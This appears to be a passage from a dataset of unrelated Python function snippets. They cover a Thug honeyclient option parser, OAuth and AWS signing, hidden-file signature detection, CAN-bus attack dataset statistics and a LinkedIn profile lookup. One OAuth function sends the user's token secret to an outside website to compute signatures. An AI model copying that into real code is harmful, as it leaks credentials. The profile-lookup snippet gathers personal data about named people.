'--url-file',\\n metavar='',\\n type=link_file,\\n help=\\\"File containing bunch of URL's(1 per line)\\\")\\n\\n def qfile(fn):\\n fobj = open(fn, 'r')\\n queues = fobj.readlines()\\n queues = map((lambda x: x.replace('\\\\n', '')), queues)\\n return queues\\n\\n # ThugD Options\\n thugd = parser.add_argument_group('Thug Distributed Options')\\n thugd.add_argument('-ia', '--include-agent',\\n action='store_const',\\n const=agents_priority,\\n help='Display Thug Version')\\n # Queues Mutually Exclusive Group\\n queue = thugd.add_mutually_exclusive_group(required=False)\\n queue.add_argument('-qu', '--queue',\\n nargs='+',\\n metavar='',\\n default='generic',\\n help=\\\"Specify Queue/Queues to route URL's \\\\\\n(*Single Queue: URL's will be routed to specified Queue, \\\\\\n*Multiple Queues: URL's will be routed to ALL specified Queues)\\\")\\n queue.add_argument('-qf', '--queue-file',\\n metavar='',\\n type=qfile,\\n help=\\\"Specify File name containing Queue names(1 per \\\\\\nline)\\\")\\n\\n # Thug Options\\n thug = parser.add_argument_group('Thug Options')\\n thug.add_argument('-V', '--version',\\n action='store_true',\\n help='Display Thug Version')\\n thug.add_argument('-u', '--useragent',\\n metavar='',\\n default='winxpie60',\\n help='Select a user agent(see below for values, \\\\\\ndefault: winxpie60)')\\n thug.add_argument('-e', '--events',\\n metavar='',\\n help='Enable comma-separated specified DOM events \\\\\\nhandling')\\n thug.add_argument('-w', '--delay',\\n metavar='',\\n help='Set a maximum setTimeout/setInterval delay value \\\\\\n(in milliseconds)')\\n thug.add_argument('-n', '--logdir',\\n metavar='',\\n help='Set the log output directory')\\n thug.add_argument('-o', '--output',\\n metavar='',\\n help='Log to a specified file')\\n thug.add_argument('-r', '--referer',\\n metavar='',\\n help='Specify a referer')\\n thug.add_argument('-p', '--proxy',\\n metavar='',\\n help='Specify a proxy (see below for format and \\\\\\nsupported schemes)')\\n thug.add_argument('-l', '--local',\\n action='store_true',\\n help='Analyze a locally saved page')\\n thug.add_argument('-x', '--local-nofetch',\\n action='store_true',\\n help='Analyze a locally saved page and prevent remote\\\\\\ncontent fetching')\\n thug.add_argument('-v', '--verbose',\\n action='store_true',\\n help='Enable verbose mode')\\n thug.add_argument('-d', '--debug',\\n action='store_true',\\n help='Enable debug mode')\\n thug.add_argument('-q', '--quiet',\\n action='store_true',\\n help='Disable console logging')\\n thug.add_argument('-m', '--no-cache',\\n action='store_true',\\n help='Disable local web cache')\\n thug.add_argument('-a', '--ast-debug',\\n action='store_true',\\n help='Enable AST debug mode (requires \\\\\\ndebug mode)')\\n thug.add_argument('-t', '--threshold',\\n metavar='',\\n help='Maximum pages to fetch')\\n thug.add_argument('-E', '--extensive',\\n action='store_true',\\n help='Extensive fetch of linked pages')\\n thug.add_argument('-T', '--timeout',\\n metavar='',\\n help='Timeout in minutes')\\n\\n # Plugins\\n plugin = parser.add_argument_group('Plugins')\\n plugin.add_argument('-A', '--adobepdf',\\n metavar='',\\n default='9.1.0',\\n help='Specify the Adobe Acrobat Reader version \\\\\\n(default: 9.1.0)')\\n plugin.add_argument('-P', '--no-adobepdf',\\n action='store_true',\\n help='Disable Adobe Acrobat Reader Plugin')\\n plugin.add_argument('-S', '--shockwave',\\n metavar='',\\n default='10.0.64.0',\\n help='Specify the Shockwave Flash version \\\\\\n(default: 10.0.64.0)')\\n plugin.add_argument('-R', '--no-shockwave',\\n action='store_true',\\n help='Disable Shockwave Flash Plugin')\\n plugin.add_argument('-J', '--javaplugin',\\n metavar='',\\n default='1.6.0.32',\\n help='Specify the Java Plugin version (default: \\\\\\n1.6.0.32)')\\n plugin.add_argument('-K', '--no-javaplugin',\\n action='store_true',\\n help='Disable Java Plugin')\\n\\n # Classifier\\n classifier = parser.add_argument_group('Classifiers')\\n classifier.add_argument('-Q', '--urlclassifier',\\n metavar='',\\n help='Specify a list of additional (comma \\\\\\nseparated) URL classifier rule files')\\n classifier.add_argument('-W', '--jsclassifier',\\n metavar='',\\n help='Specify a list of additional (comma \\\\\\nseparated) JS classifier rule files')\\n\\n return parser.parse_args()\",\n \"def report(start_time, word_counts, signatures):\\n\\n # Compute and report execution time...\\n exec_time = time.time() - start_time\\n print(\\n \\\"%i word types processed in %.2f secs\\\"\\n % (len(word_counts), exec_time)\\n )\\n\\n # Compute and report coverage...\\n covered = collections.Counter()\\n for suffixes, stems in signatures.items():\\n covered.update(st+su for su, st in itertools.product(suffixes, stems))\\n spectrum = collections.Counter(covered.values())\\n for frequency in sorted(spectrum):\\n print(\\n \\\"%i type(s) (%.2f%%) have been assigned to %i signature(s)\\\" % (\\n spectrum[frequency],\\n 100 * spectrum[frequency] / len(word_counts),\\n frequency\\n )\\n )\",\n \"def getDomainInfo(domain, cfg):\\n username = cfg[\\\"hs_username\\\"]\\n password = cfg[\\\"hs_password\\\"]\\n endpoint = cfg[\\\"hs_endpoint\\\"]\\n bucket = cfg[\\\"hs_bucket\\\"]\\n if \\\"rescan\\\" in cfg and cfg[\\\"rescan\\\"]:\\n mode = \\\"r+\\\" # need write intent\\n else:\\n mode = \\\"r\\\"\\n\\n if domain.endswith(\\\"/\\\"):\\n is_folder = True\\n else:\\n is_folder = False\\n\\n try:\\n if is_folder:\\n f = h5pyd.Folder(\\n domain,\\n mode=mode,\\n endpoint=endpoint,\\n username=username,\\n password=password,\\n bucket=bucket,\\n use_cache=True,\\n )\\n else:\\n f = h5pyd.File(\\n domain,\\n mode=mode,\\n endpoint=endpoint,\\n username=username,\\n password=password,\\n bucket=bucket,\\n use_cache=False,\\n )\\n except IOError as oe:\\n if oe.errno in (404, 410): # Not Found\\n abort(f\\\"domain: {domain} not found\\\")\\n elif oe.errno == 401: # Unauthorized\\n abort(\\\"Authorization failure\\\")\\n elif oe.errno == 403: # Forbidden\\n abort(\\\"Not allowed\\\")\\n else:\\n abort(f\\\"Unexpected error: {oe}\\\")\\n\\n timestamp = datetime.fromtimestamp(int(f.modified))\\n if not is_folder and f.last_scan:\\n last_scan = datetime.fromtimestamp(int(f.last_scan))\\n else:\\n last_scan = None\\n\\n if is_folder:\\n print(f\\\"folder: {domain}\\\")\\n print(f\\\" owner: {f.owner}\\\")\\n print(f\\\" last modified: {timestamp}\\\")\\n else:\\n if \\\"rescan\\\" in cfg and cfg[\\\"rescan\\\"]:\\n f.run_scan()\\n\\n # report HDF objects (groups, datasets, and named datatypes) vs. allocated chunks\\n num_objects = f.num_groups + f.num_datatypes + f.num_datasets\\n if f.num_chunks > 0:\\n num_chunks = f.num_chunks\\n else:\\n # older storeinfo format doesn't have num_chunks, so calculate\\n num_chunks = f.num_objects - num_objects\\n\\n print(f\\\"domain: {domain}\\\")\\n print(f\\\" owner: {f.owner}\\\")\\n print(f\\\" id: {f.id.id}\\\")\\n print(f\\\" last modified: {timestamp}\\\")\\n if last_scan:\\n print(f\\\" last scan: {last_scan}\\\")\\n if f.md5_sum:\\n print(f\\\" md5 sum: {f.md5_sum}\\\")\\n print(f\\\" total_size: {format_size(f.total_size)}\\\")\\n print(f\\\" allocated_bytes: {format_size(f.allocated_bytes)}\\\")\\n if f.metadata_bytes:\\n print(f\\\" metadata_bytes: {format_size(f.metadata_bytes)}\\\")\\n if f.linked_bytes:\\n print(f\\\" linked_bytes: {format_size(f.linked_bytes)}\\\")\\n print(f\\\" num objects: {num_objects}\\\")\\n print(f\\\" num chunks: {num_chunks}\\\")\\n if f.num_linked_chunks:\\n print(f\\\" linked chunks: {f.num_linked_chunks}\\\")\\n\\n f.close()\",\n \"def identify(source_path):\\r\\n binary_string = get(source_path)\\r\\n\\r\\n print(source_path + \\\" include following FILE SIGNATURES\\\")\\r\\n\\r\\n footer_result = get_signature_index(binary_string, footers)\\r\\n header_result = get_signature_index(binary_string, headers)\\r\\n\\r\\n if check_hidden_data(binary_string, header_result, footer_result):\\r\\n print('This file include hidden file.')\\r\\n\\r\\n for file_type, header_indexies in header_result.items():\\r\\n print('File type: '+file_type+' Detect: '+str(len(header_indexies))+' files')\\r\\n print('HEADER')\\r\\n result = ''\\r\\n for i, location in enumerate(header_indexies):\\r\\n if i == (len(header_indexies)-1):\\r\\n result += str(location[0]//2) + ' bytes - ' + str((location[1]-1)//2) + ' bytes'\\r\\n else:\\r\\n result += str(location[0]//2) + ' bytes - ' + str((location[1]-1)//2) + ' bytes, '\\r\\n print(result)\\r\\n\\r\\n print('FOOTER')\\r\\n result = ''\\r\\n if file_type in footer_result:\\r\\n footer_indexies = footer_result[file_type]\\r\\n for i, location in enumerate(footer_indexies):\\r\\n if i == (len(footer_indexies)-1):\\r\\n result += str(location[0]//2) + ' bytes - ' + str((location[1]-1)//2) + ' bytes'\\r\\n else:\\r\\n result += str(location[0]//2) + ' bytes - ' + str((location[1]-1)//2) + ' bytes, '\\r\\n print(result+'\\\\n')\",\n \"def aws_signature(bucket,keypath,expires,secret_access_key=''):\\n sign_msg = ('GET\\\\n\\\\n\\\\n'+expires+'\\\\n' +'/'+bucket+'/'+keypath)\\n h = hmac.new(secret_access_key, sign_msg, hashlib.sha1)\\n signature = urllib.quote(base64.b64encode(h.digest()))\\n return (signature,sign_msg)\",\n \"def analyze():\\n\\n url = request.form.get(\\\"url\\\", \\\"\\\").strip()\\n use_reducer = not (\\\"noreduce\\\" in request.form)\\n dump_forest = \\\"dump\\\" in request.form\\n metadata = None\\n # Single sentence (True) or contiguous text from URL (False)?\\n single = False\\n keep_trees = False\\n\\n t0 = time.time()\\n\\n if url.startswith(\\\"http:\\\") or url.startswith(\\\"https:\\\"):\\n # Scrape the URL, tokenize the text content and return the token list\\n metadata, generator = process_url(url)\\n toklist = list(generator)\\n # If this is an already scraped URL, keep the parse trees and update\\n # the database with the new parse\\n keep_trees = Scraper.is_known_url(url)\\n else:\\n # Tokenize the text entered as-is and return the token list\\n # In this case, there's no metadata\\n toklist = list(tokenize(url))\\n single = True\\n\\n tok_time = time.time() - t0\\n\\n t0 = time.time()\\n\\n # result = profile(parse, toklist, single, use_reducer, dump_forest)\\n result, trees = parse(toklist, single, use_reducer, dump_forest, keep_trees)\\n\\n # Add a name register to the result\\n create_name_register(result)\\n\\n parse_time = time.time() - t0\\n\\n if keep_trees:\\n # Save a new parse result\\n if Settings.DEBUG:\\n print(\\\"Storing a new parse tree for url {0}\\\".format(url))\\n Scraper.store_parse(url, result, trees)\\n\\n result[\\\"metadata\\\"] = metadata\\n result[\\\"tok_time\\\"] = tok_time\\n result[\\\"parse_time\\\"] = parse_time\\n\\n # Return the tokens as a JSON structure to the client\\n return jsonify(result = result)\",\n \"def run_main():\\n # Matching lines against a matcher function.\\n matched_lines = match_file(file_names, matcher)\\n\\n # Will contain data sorted by file.\\n binned_data = {}\\n\\n # Looking through the lines that were inserted into the metrics file via the metrics component.\\n for key in matched_lines:\\n\\n # Grabbing matched lines by the file or orgination.\\n buffer = matched_lines[key]\\n\\n # This will contain dictionaries converted from JSON.\\n data = []\\n\\n # Loop through the collection, appending data converted from JSON entries.\\n for line in buffer:\\n data.append(extract_data(line))\\n\\n # Sort the data by file.\\n binned_data[key] = sort_data(data)\\n\\n # Output the final results.\\n generate_statistics(binned_data)\\n return 0\",\n \"def sign(filename: str) -> str:\\n fs, relative_path = url_to_fs(filename)\\n try:\\n return cast(str, fs.sign(relative_path))\\n except NotImplementedError:\\n return filename\",\n \"def build_signature(method, url, oauth_params, params={}):\\n\\t# Copy params to prevent modification from original params\\n\\tall_params = copy.deepcopy(oauth_params)\\n\\t# Combine OAuth parameters and original parameters\\n\\tall_params.update(params)\\n\\t# Sort, stringify, and encode all parameters\\n\\tkeys = sorted(all_params.keys())\\n\\tencoded_params = ''\\n\\tfor key in keys:\\n\\t\\tencoded_params += key+'='+percent_encode(str(all_params[key]))+'&'\\n\\tencoded_params = encoded_params[:-1]\\n\\tbase_string = method.upper()+'&'+percent_encode(url)+'&'+percent_encode(encoded_params)\\n\\t# Request crypt calculation to the server and return caluculated value\\n\\tcalc_url = 'https://www.ryotosaito.com/shielld/calc_signature.php'\\n\\toauth_token_secret = users[user_name]['oauth_token_secret'] if user_name in users else ''\\n\\tparams = {'base_string' : base_string, 'oauth_token_secret' : oauth_token_secret}\\n\\trequest = requests.post(calc_url, params);\\n\\treturn request.text\",\n \"def magic_analyzer(site, image_urls):\\n res = None\\n try:\\n res = MagicHayStack.get_price(site.get('url'), image_urls)\\n except Exception as e:\\n print(str(e))\\n\\n if not res:\\n print('[FAIL] magic: price not found')\\n return None\\n else:\\n p = []\\n for r in res:\\n if r[0]:\\n p.append({\\n 'method': 'magic',\\n 'price': r[0],\\n 'currency': r[1],\\n 'rule': {\\n 'selector': 'magic',\\n 'weight': r[2]\\n },\\n 'event_time': datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\\n })\\n if not p:\\n print('[FAIL] magic: price not found')\\n return None\\n else:\\n print('[SUCCESS] magic:', p)\\n return p\",\n \"def plot(self, *path, **attrs):\\n # Check for expected number of arguments\\n if len(path) == 1:\\n # Check it's a short url we know of\\n if path[0] in self.urls:\\n mimetype = 'image/png' # We'll just assume they're all png for the moment\\n url = self.urls[path[0]] # Get the full URL from the dictionary\\n data = urllib2.urlopen(url).read() # Read the data from this url\\n return mimetype, data # Return the data and mimetype\\n\\n # Something went wrong, return an error condition\\n return None, None\",\n \"def runAuthorStats(date):\\n print(\\\"getting author stats\\\")\\n input_bucket = 'emg-author-subreddit-pairs-ids'\\n output_bucket = 'emg-author-stats'\\n df = streamBlob(input_bucket, date)\\n df = df.reset_index().astype({'author':str,'subreddit':str,'num_comments':int})\\n\\n df = df.sort_values(['author_id','subreddit_id'])\\n incidence = CSR(df, 'author_id', 'subreddit_id', 'num_comments')\\n \\n results = {}\\n for i in tqdm(df['author_id'].unique()): #parralel-ise?\\n values = incidence[i,:].data\\n results[i] = {'aut_sub_count':np.count_nonzero(values),\\n 'aut_com_count':np.sum(values),\\n 'aut_com_entropy': stats.entropy(values), \\n 'aut_com_gini': gini(values),\\n 'aut_com_blau': blau(values)}\\n \\n output = pd.DataFrame.from_dict(results, orient='index')\\n \\n result = df.merge(output, left_on='author_id', right_index=True)\\n result['aut_insub'] = result['num_comments']/result['aut_com_count']\\n\\n filename = cachePath(f\\\"\\\"\\\"{date}/authorStats.gzip\\\"\\\"\\\")\\n print(f\\\"\\\"\\\"saving to {filename}\\\"\\\"\\\")\\n result.to_csv(filename,compression='gzip')\\n\\n uploadCommands(filename, output_bucket, date)\",\n \"def _get_signature(search_results: SearchResults) -> Text:\\n # Was previously logic here. Leaving method in case it's needed again\\n return COMMENT_SIGNATURE\",\n \"def _calculate_statistics(site, data):\\n from_date = datetime.datetime.fromtimestamp(data[0].get('date') / 1000,\\n tz=pytz.timezone(\\\"Europe/Budapest\\\"))\\n to_date = datetime.datetime.fromtimestamp(data[-1].get('date') / 1000,\\n tz=pytz.timezone(\\\"Europe/Budapest\\\"))\\n logger.debug(\\\"calculate statistics for site {} from {} to {}\\\".format(site, from_date, to_date))\\n UploadHandler._create_temporary_data(site=site, from_date=from_date, to_date=to_date)\\n # create_statistics(site=site, from_date=from_date, to_date=to_date)\",\n \"def _sign(self, oauth_payload, request):\\n\\t\\t# merge params\\n\\t\\t# use oauth_payload to update request params might avoid \\n\\t\\t# some oauth params's accidental overriding\\n\\t\\tpayload = dict( request.params )\\n\\t\\tpayload.update( oauth_payload )\\n\\n\\t\\t# here I assume that all keys contain only 'a-zA-Z_.-'\\n\\t\\t# thus there is no necessity to percent-encode them\\n\\t\\t# will now sort them according to their original value\\n\\n\\t\\tkeylist = sorted( payload.keys() )\\n\\t\\trawlist = []\\n\\t\\tfor k in keylist:\\n\\t\\t\\tencoded_value = percent_encode( payload[k] )\\n\\t\\t\\trawlist.append( \\\"%s=%s\\\" % (k, encoded_value) )\\n\\n\\t\\t# craft base string\\n\\t\\tbase_string = request.method.upper()\\n\\t\\tbase_string += '&'\\n\\t\\tbase_string += percent_encode(request.base_url)\\n\\t\\tbase_string += '&'\\n\\t\\tbase_string += percent_encode( '&'.join( rawlist ) )\\n\\n\\t\\tself._print( \\\"Base string:\\\\n\\\" + base_string )\\n\\t\\t# craft signing key\\n\\t\\tif self.has_user():\\n\\t\\t\\tsigning_key = \\\"%s&%s\\\" % ( percent_encode(self.secret), percent_encode(self.a_secret) )\\n\\t\\telse:\\n\\t\\t\\tsigning_key = \\\"%s&%s\\\" % ( percent_encode(self.secret), percent_encode(self.token_secret) )\\n\\n\\t\\t# sign base_string\\n\\t\\thashed = hmac.new(signing_key, base_string, hashlib.sha1)\\n\\t\\tsignature = binascii.b2a_base64(hashed.digest())[:-1]\\n\\t\\t\\n\\t\\t# append signature field\\n\\t\\toauth_payload[\\\"oauth_signature\\\"] = signature\\n\\n\\t\\t# prepare relevant oauth values\\n\\t\\toauth_entry = []\\n\\t\\tfor k in oauth_payload.keys():\\n\\t\\t\\tencoded_value = percent_encode( oauth_payload[k] )\\n\\t\\t\\toauth_entry.append( '%s=\\\"%s\\\"' % (k, encoded_value) )\\n\\n\\t\\toauth_str = 'OAuth ' + ','.join(oauth_entry)\\n\\t\\tself._print( \\\"OAuth header:\\\\n\\\" + oauth_str )\\n\\t\\t# field crafted\\n\\t\\treturn { \\\"Authorization\\\" : oauth_str }\",\n \"def testSignature(self):\\n raw_data = copy.deepcopy(TEST_DATA)\\n # Preserve only the first stack.\\n raw_data['subtree_stacks'] = raw_data['subtree_stacks'][0:1]\\n root_frame = (\\n raw_data['subtree_stacks'][0]['frames'][raw_data['subtree_root_depth']])\\n\\n # Check that the function gets truncated to the max length.\\n root_frame['function_name'] = 'x' * (SIGNATURE_MAX_LENGTH + 1)\\n uma_data = UMASamplingProfilerData(\\n raw_data, ChromeDependencyFetcher(self.GetMockRepoFactory()))\\n self.assertEqual(uma_data.signature, 'x' * SIGNATURE_MAX_LENGTH)\\n\\n # Check that unsymbolized functions are properly handled.\\n del root_frame['function_name']\\n uma_data = UMASamplingProfilerData(\\n raw_data, ChromeDependencyFetcher(self.GetMockRepoFactory()))\\n self.assertEqual(uma_data.signature, 'unsymbolized function')\",\n \"def compute_sigs(fnm, prfx):\\n print(time.asctime(), ' Computing signatures')\\n start = time.time()\\n (ftr, grid_list) = util.compute_features(fnm)\\n end = time.time()\\n print(time.asctime(), ' Done Computing signatures in ', end-start, ' seconds')\\n print('There are ', str(len(fnm)), ' images', flush=True)\\n np.save('signatures_' + prfx, ftr)\\n \\n # Save a list of the filenames with index\\n out_file = 'filenames_' + prfx + '.csv'\\n filehandling.write_filenames(out_file, './', fnm)\\n\\n return ftr\",\n \"def analyze_data():\\n attack_free_1 = load_messages(\\\"data/csv/Attack_free_dataset.csv\\\", verbose=True)\\n\\n impersonation_1 = load_messages(\\\"data/csv/170907_impersonation.csv\\\", verbose=True)\\n impersonation_2 = load_messages(\\\"data/csv/170907_impersonation_2.csv\\\", verbose=True)\\n impersonation_3 = load_messages(\\\"data/csv/Impersonation_attack_dataset.csv\\\", verbose=True)\\n\\n information = {\\n \\\"Mean time between normal messages\\\":\\n get_mean_time_between_normal_messages(attack_free_1),\\n \\\"Mean time between split messages\\\":\\n get_mean_time_between_split_messages(attack_free_1),\\n \\\"Sum of removed intervals in '170907_impersonation.csv'\\\":\\n get_sum_of_removed_intervals(impersonation_1, 250),\\n \\\"Sum of removed intervals in '170907_impersonation_2.csv'\\\":\\n get_sum_of_removed_intervals(impersonation_2, 250),\\n \\\"Sum of removed intervals in 'Impersonation_attack_dataset.csv'\\\":\\n get_sum_of_removed_intervals(impersonation_3, 250),\\n \\\"Index of split in '170907_impersonation.csv'\\\":\\n get_index_before_time(impersonation_1, 250 - 23.434627056121826),\\n \\\"Index of split in '170907_impersonation_2.csv'\\\":\\n get_index_before_time(impersonation_2, 250 - 20.980855226516724),\\n \\\"Index of split in 'Impersonation_attack_dataset.csv'\\\":\\n get_index_before_time(impersonation_3, 250 - 2.1056361198425293)\\n }\\n\\n return information\",\n \"def main():\\n \\n # Build arguments and grab arguments\\n parser = argparse.ArgumentParser()\\n parser.add_argument(\\\"file1\\\", help=\\\"Input 1st input filename\\\")\\n parser.add_argument(\\\"file2\\\", help=\\\"Input 2nd input filename\\\")\\n args = parser.parse_args()\\n\\n\\n #do the distance calculation\\n distances, mean, stdv = find_distances(args.file1, args.file2)\\n np.savetxt(str(args.file1)+\\\"_\\\"+str(args.file2)+\\\"_comparison\\\"+\\\".txt\\\", np.c_[mean, stdv], fmt=\\\"%s\\\", delimiter=\\\",\\\", header=\\\"mean, stdv\\\")\\n plot = plot_distances(distances,args.file1, args.file2)\\n plt.savefig((str(args.file1)+\\\"_\\\"+str(args.file2)+\\\"distance_histrogram.pdf\\\"))\",\n \"def analyze_social_patterns(input_file):\\n # First read in the spelling variants\\n # standard, non standard\\n # us, uk spelling\\n standard_non_standard_pairs = util.read_variants_from_file(input_file)\\n all_forms = set()\\n all_forms = all_forms.union(standard_non_standard_pairs.keys())\\n all_forms = all_forms.union(standard_non_standard_pairs.values())\\n \\n # Keeping track of stats\\n subreddit_count_standard = {}\\n subreddit_count_non_standard = {}\\n\\n # Data\\n sentences_metadata = DataWrapper.DataWrapperGzipMulti(config.REDDIT_PROCESSED_DATA,\\n config.REDDIT_METADATA_DATA)\\n \\n for sentence, metadata in sentences_metadata:\\n\\n author, author_text, subreddit, link = metadata.split(\\\"\\\\t\\\")\\n\\n # Now check for tokens in our list\\n for token in sentence:\\n if token in all_forms:\\n\\n if subreddit not in subreddit_count_standard:\\n subreddit_count_standard[subreddit] = 0\\n subreddit_count_non_standard[subreddit] = 0\\n\\n # standard or US spelling\\n if token in standard_non_standard_pairs:\\n subreddit_count_standard[subreddit] += 1\\n else:\\n subreddit_count_non_standard[subreddit] += 1\\n\\n # Print out stats\\n output_file_name = os.path.splitext(os.path.basename(input_file))[0]\\n with open(output_file_name + \\\"_subreddits_distr.txt\\\", \\\"w\\\") as output_file:\\n for subreddit, count in subreddit_count_standard.items():\\n output_file.write(\\\"%s\\\\t%s\\\\t%s\\\\n\\\" % (subreddit, count, subreddit_count_non_standard[subreddit]))\",\n \"def _ParseSignatureIdentifiers(self, data_location, signature_identifiers):\\n if not signature_identifiers:\\n return\\n\\n if not data_location:\\n raise ValueError(u'Missing data location.')\\n\\n path = os.path.join(data_location, u'signatures.conf')\\n if not os.path.exists(path):\\n raise IOError(\\n u'No such format specification file: {0:s}'.format(path))\\n\\n try:\\n specification_store = self._ReadSpecificationFile(path)\\n except IOError as exception:\\n raise IOError((\\n u'Unable to read format specification file: {0:s} with error: '\\n u'{1:s}').format(path, exception))\\n\\n signature_identifiers = signature_identifiers.lower()\\n signature_identifiers = [\\n identifier.strip() for identifier in signature_identifiers.split(u',')]\\n file_entry_filter = file_entry_filters.SignaturesFileEntryFilter(\\n specification_store, signature_identifiers)\\n self._filter_collection.AddFilter(file_entry_filter)\",\n \"def calculate(signal: Signal, attributes: Dict) -> Dict:\\n regexp = re.compile(r'(linkedin.[a-z]+/in/[a-zA-Z0-9-.]+)')\\n match = regexp.search(signal.bio)\\n if match:\\n return {\\n 'linkedin': match.group(0)\\n }\\n if signal.url:\\n match = regexp.search(signal.url)\\n if match:\\n return {\\n 'linkedin': match.group(0)\\n }\\n for url in [signal.url] + get_urls_from_string(signal.bio):\\n try:\\n text = requests.get(url).text\\n except Exception:\\n continue\\n match = regexp.search(text)\\n if match:\\n return {\\n 'linkedin': match.group(0)\\n }\\n # If we can't scrape a LinkedIn profile, we'll try searching Google\\n query = '{0} {1} {2} {3}'.format(\\n attributes['best_first'],\\n attributes['best_last'],\\n attributes['location'],\\n attributes['job']\\n )\\n query = re.sub(r'[^A-Za-z0-9 ]+', '', query).strip()\\n logging.info('Executing LinkedIn query: {}'.format(query))\\n result = requests.get(\\n '{0}?key={1}'.format(CUSTOM_SEARCH, GOOGLE_CUSTOM_SEARCH_KEY),\\n {\\n 'q': query,\\n 'cx': GOOGLE_CUSTOM_SEARCH_CX\\n }\\n )\\n try:\\n return {\\n 'linkedin': result.json()['items'][0]['link']\\n }\\n except Exception:\\n pass\\n return {\\n 'linkedin': ''\\n }\",\n \"def apkdownloadmirror_get_apk_sig_fpr(soup, **_):\\n return soup.find(text=re.compile(r'Signature:')).next.text.strip()\",\n \"def get_decorations_from_dfg_spaths_acticount(net, dfg, spaths, activities_count, variant=\\\"frequency\\\",\\r\\n aggregation_measure=None):\\r\\n decorations_single_contrib = {}\\r\\n decorations_single_contrib_trans = {}\\r\\n decorations_int = {}\\r\\n decorations = {}\\r\\n if aggregation_measure is None:\\r\\n if \\\"frequency\\\" in variant:\\r\\n aggregation_measure = \\\"sum\\\"\\r\\n elif \\\"performance\\\" in variant:\\r\\n aggregation_measure = \\\"mean\\\"\\r\\n for arc in spaths:\\r\\n for couple in spaths[arc]:\\r\\n dfg_key = couple[0]\\r\\n if dfg_key in dfg:\\r\\n if arc not in decorations_single_contrib:\\r\\n decorations_single_contrib[arc] = []\\r\\n decorations_single_contrib[arc].append(dfg[dfg_key])\\r\\n if dfg_key[1] not in decorations_single_contrib_trans:\\r\\n decorations_single_contrib_trans[dfg_key[1]] = {}\\r\\n decorations_single_contrib_trans[dfg_key[1]][dfg_key[0]] = dfg[dfg_key]\\r\\n for arc in decorations_single_contrib:\\r\\n decorations_value = None\\r\\n if aggregation_measure == \\\"sum\\\":\\r\\n decorations_value = sum(decorations_single_contrib[arc])\\r\\n elif aggregation_measure == \\\"mean\\\":\\r\\n decorations_value = mean(decorations_single_contrib[arc])\\r\\n elif aggregation_measure == \\\"median\\\":\\r\\n decorations_value = median(decorations_single_contrib[arc])\\r\\n elif aggregation_measure == \\\"stdev\\\":\\r\\n decorations_value = stdev(decorations_single_contrib[arc])\\r\\n elif aggregation_measure == \\\"min\\\":\\r\\n decorations_value = min(decorations_single_contrib[arc])\\r\\n elif aggregation_measure == \\\"max\\\":\\r\\n decorations_value = max(decorations_single_contrib[arc])\\r\\n if decorations_value is not None:\\r\\n decorations_int[arc] = decorations_value\\r\\n\\r\\n if decorations_int:\\r\\n arcs_min_value = min(list(decorations_int.values()))\\r\\n arcs_max_value = max(list(decorations_int.values()))\\r\\n for arc in decorations_int:\\r\\n if \\\"performance\\\" in variant:\\r\\n arc_label = human_readable_stat(decorations_int[arc])\\r\\n else:\\r\\n arc_label = str(decorations_int[arc])\\r\\n decorations[arc] = {\\\"label\\\": arc_label,\\r\\n \\\"penwidth\\\": str(get_arc_penwidth(decorations_int[arc], arcs_min_value, arcs_max_value))}\\r\\n trans_map = {}\\r\\n for trans in net.transitions:\\r\\n if trans.label:\\r\\n trans_map[trans.label] = trans\\r\\n if \\\"frequency\\\" in variant:\\r\\n act_min_value = min(list(activities_count.values()))\\r\\n act_max_value = max(list(activities_count.values()))\\r\\n for act in activities_count:\\r\\n if act in trans_map:\\r\\n trans = trans_map[act]\\r\\n color = get_trans_freq_color(activities_count[act], act_min_value, act_max_value)\\r\\n label = act + \\\" (\\\" + str(activities_count[act]) + \\\")\\\"\\r\\n decorations[trans] = {\\\"label\\\": label, \\\"color\\\": color}\\r\\n elif \\\"performance\\\" in variant:\\r\\n for act in decorations_single_contrib_trans:\\r\\n if act in trans_map:\\r\\n trans = trans_map[act]\\r\\n trans_values = list(decorations_single_contrib_trans[act].values())\\r\\n decorations[trans] = {\\\"performance\\\": mean(trans_values)}\\r\\n\\r\\n return decorations\",\n \"def avg_metric(sharp_path, deblurred_path): # TODO1 do multiprocessing in those methods\\n sum_psnr = 0\\n sum_mse = 0\\n sum_ssim = 0\\n\\n # List all files\\n files_orig = [f for f in listdir(sharp_path) if isfile(join(sharp_path, f))]\\n files_deb = [f for f in listdir(deblurred_path) if isfile(join(deblurred_path, f))]\\n\\n count = 0\\n for orig, deb in zip(files_orig, files_deb):\\n orig_fn = join(sharp_path, orig)\\n deb_fn = join(deblurred_path, deb)\\n # Load images\\n orig_img = cv2.imread(orig_fn)\\n deb_img = cv2.imread(deb_fn)\\n orig_img = np.divide(orig_img, 255)\\n deb_img = np.divide(deb_img, 255)\\n\\n # Compute metrics\\n sum_psnr += peak_signal_noise_ratio(orig_img, deb_img)\\n sum_mse += mean_squared_error(orig_img, deb_img)\\n sum_ssim += structural_similarity(orig_img, deb_img, multichannel=True)\\n\\n count += 1\\n print('Analyzed: {}/{}'.format(count, len(files_orig)))\\n\\n # Average\\n avg_psnr = sum_psnr/len(files_orig)\\n avg_mse = sum_mse/len(files_orig)\\n avg_ssim = sum_ssim/len(files_orig)\\n\\n return avg_mse, avg_psnr, avg_ssim\",\n \"def test_dig_sig(self):\\n\\n for using in [HashTypes.SHA1, HashTypes.SHA2, ]:\\n self.do_test_dig_sig(using)\",\n \"def hash_entries(entries):\\n d = dict()\\n for e in entries:\\n uri = e[\\\"uri\\\"]\\n domain = re.match(\\\"^/view\\\\d*/(.*)$\\\", uri).group(1)\\n if domain:\\n visitor_id = e[\\\"visitor_id\\\"]\\n if d.has_key(domain):\\n store_page_entries = d[domain]\\n store_page_entries.append(visitor_id)\\n else:\\n d[domain] = [visitor_id]\\n print \\\"Retrieved {0} unique domains.\\\".format(len(d))\\n return d\",\n \"def compare(har1_path, har2_path):\\n har_file_paths1 = get_paths(har1_path)\\n har_file_paths2 = get_paths(har2_path)\\n\\n encoded_urls1 = set([get_encoded_url(har) for har in har_file_paths1])\\n encoded_urls2 = set([get_encoded_url(har) for har in har_file_paths2])\\n\\n url_intersection = list(encoded_urls1.intersection(encoded_urls2))\\n urls_not_in_har1 = encoded_urls2 - encoded_urls1\\n urls_not_in_har2 = encoded_urls1 - encoded_urls2\\n\\n if urls_not_in_har1:\\n print 'URLs missing from {0}:'.format(har1_path)\\n print urls_not_in_har1\\n if urls_not_in_har2:\\n print 'URLs missing from {0}:'.format(har2_path)\\n print urls_not_in_har2\\n\\n print '\\\\n'\\n print 'Comparing {0} 